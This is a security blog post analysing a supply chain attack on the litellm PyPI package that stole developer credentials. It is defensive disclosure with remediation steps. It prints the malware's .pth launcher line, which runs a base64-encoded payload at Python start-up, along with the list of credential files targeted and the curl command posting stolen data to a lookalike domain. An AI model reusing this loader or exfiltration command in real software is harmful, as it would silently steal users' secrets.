CRITICAL: Severe Supply Chain Attack in LiteLLM PyPI Package Steals Developer Credentials

Musa Badru

2026-03-25

The Python ecosystem has just witnessed a highly sophisticated and devastating supply chain attack, first discovered and disclosed by the security researchers at FutureSearch. The popular litellm package on PyPI was compromised after a maintainer's account was hijacked. Malicious versions (1.82.7 and 1.82.8) were published directly to PyPI, bypassing GitHub CI/CD entirely.

The payload is a comprehensive credential stealer that operates with terrifying stealth-in version 1.82.8, it executes automatically every time the Python interpreter starts, without requiring an import litellm statement.

If you have installed or updated litellm recently, assume your local environment, CI/CD pipelines, and production servers are compromised. Immediate credential rotation is mandatory.

🚨 TL;DR: Am I Affected?

If you ran pip install litellm and received version 1.82.7 or 1.82.8, you are compromised. (Note: The LiteLLM team confirmed that users of their pre-built Proxy Docker image were not impacted, as dependencies in the image are pinned).

Immediate Actions Required:

  1. Check your site-packages/ directory for a file named litellm_init.pth.
  2. Rotate ALL credentials present in environment variables, .ssh, .aws, .kube, and other configuration files on the affected machine.
  3. Pin all future Python dependencies to exact, verified hashes.

The Attack Vector: Account Takeover & The .pth Trick

According to the LiteLLM team, the compromise originated from a malicious "trivvy security scan dependency," which led to the hijacking of the maintainer's PyPI account (krrishdholakia). The attacker, operating under the moniker teampcp, uploaded two distinct malicious releases:

  • v1.82.7: The payload was embedded directly in litellm/proxy/proxy_server.py. It triggered whenever a user ran import litellm.proxy.
  • v1.82.8: The attacker escalated their persistence mechanism by introducing a 34KB file named litellm_init.pth.

The .pth Execution Vector

Python's site-packages directory supports .pth files, originally designed to add additional directories to sys.path. However, if a line in a .pth file begins with import, Python will execute that line during interpreter initialization.

By packaging litellm_init.pth into the wheel (litellm-1.82.8-py3-none-any.whl), the attacker ensured that any script run by that Python environment, even a simple python -c "print('hello')" would trigger the malware.

Here is a snippet of the reproduction script used to extract the malicious .pth file:

import zipfile
import os

whl = '/tmp/check/' + [f for f in os.listdir('/tmp/check') if f.endswith('.whl')][0]
with zipfile.ZipFile(whl) as z:
    pth = [n for n in z.namelist() if n.endswith('.pth')]
    for p in pth:
        print(z.read(p)[:300])

The resulting litellm_init.pth contained a double base64-encoded payload designed to evade naive source code grepping:

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"])

Technical Analysis of the Payload

The decoded payload acts as a highly aggressive data vacuum, executing in three distinct stages: Collection, Encryption, and Exfiltration.

Attack Flow

Stage 1: The Collection Vacuum

The script aggressively scrapes the host system for virtually every known credential file and environment variable. Targeted data includes:

  • System & Env: printenv (captures all API keys, OpenAI tokens, etc.), hostname, ip addr.
  • Cloud & DevOps: ~/.aws/credentials, ~/.kube/config, GCP/Azure credentials, Docker configs, .npmrc.
  • Infrastructure: Terraform variables, CI/CD YAMLs (.gitlab-ci.yml, .travis.yml), Git credentials.
  • Secrets & Keys: All SSH keys (id_rsa, id_ed25519), SSL/TLS private keys, database passwords, and crypto wallets (Bitcoin, Ethereum, Solana, etc.).

Stage 2: Hybrid Encryption Architecture

To securely transport the stolen data back to their servers without allowing researchers to easily decrypt intercepted payloads, the attacker utilized a standard hybrid encryption scheme.

Let DDD represent the collected sensitive data. The encryption process can be modeled as follows:

  1. The malware generates a random 32-byte AES-256 session key (KsK_{s}Ks​) using openssl rand.
  2. The data (DDD) is symmetrically encrypted using PBKDF2 and AES-256-CBC: Cdata=EAES(D,Ks)C_{data}=E_{AES}(D,K_{s})Cdata​=EAES​(D,Ks​)
  3. The session key (KsK_{s}Ks​) is asymmetrically encrypted using a hardcoded 4096-bit RSA public key (KpubK_{pub}Kpub​) embedded in the payload, utilizing OAEP padding: Ckey=ERSA(Ks,Kpub)C_{key}=E_{RSA}(K_{s},K_{pub})Ckey​=ERSA​(Ks​,Kpub​)
  4. Both CdataC_{data}Cdata​ and CkeyC_{key}Ckey​ are then packed into an archive named tpcp.tar.gz.

Stage 3: Exfiltration

Finally, the attacker utilizes standard system binaries (curl) to quietly POST the encrypted archive to an external domain:

curl -s -o /dev/null -X POST \
  "https://models.litellm.cloud/" \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @tpcp.tar.gz

Deception Tactic: Notice the domain models.litellm.cloud. This is a typosquatting/lookalike domain registered via Spaceship Inc. on March 23, 2026—just hours before the attack. The official project domain is litellm.ai.


Current Status and Incident Response

The incident has triggered a massive response across the community:

Entity Actions Taken
PyPI Intervention The compromised packages (1.82.7, 1.82.8) have been permanently deleted.
Maintainer Response The LiteLLM team has rotated all maintainer accounts, established new accounts (@krrish-berri-2, @ishaan-berri), and halted all releases until a full chain scan is complete.
Incident Investigation BerriAI (the company behind LiteLLM) has engaged Google's mandiant.security team to manage the fallout and investigate the blast radius.
Attacker Interference In a bizarre twist, the attacker actively attempted to suppress early warnings by spamming the GitHub issue tracker (#24512) to close/bury the original technical analysis.

What You Must Do Now

If you were exposed to version 1.82.7 or 1.82.8, treating your machine as fully compromised is the only safe approach.

  • Purge the Package: Immediately uninstall the package and manually verify that litellm_init.pth is gone from your Python environment's site-packages/ directory.
  • Rotate Everything: Assume every environment variable, cloud credential, SSH key, and database password on that machine is currently in the hands of malicious actors.
  • Audit CI/CD Logs: If this package made its way into your automated build pipelines, rotate your deployment secrets immediately.
  • Network Monitoring: Check your firewall and DNS logs for outbound connections to litellm.cloud.

Supply chain attacks utilizing .pth files represent a dangerous evolution in PyPI malware, transforming Python libraries from "dangerous when imported" to "dangerous when installed." Stay safe, and verify your dependency hashes.


References & Further Reading

Tagged in: #malware-analysis#supply-chain-attack#incident-response#pypi#cybersecurity

Latest Posts

Search and see all posts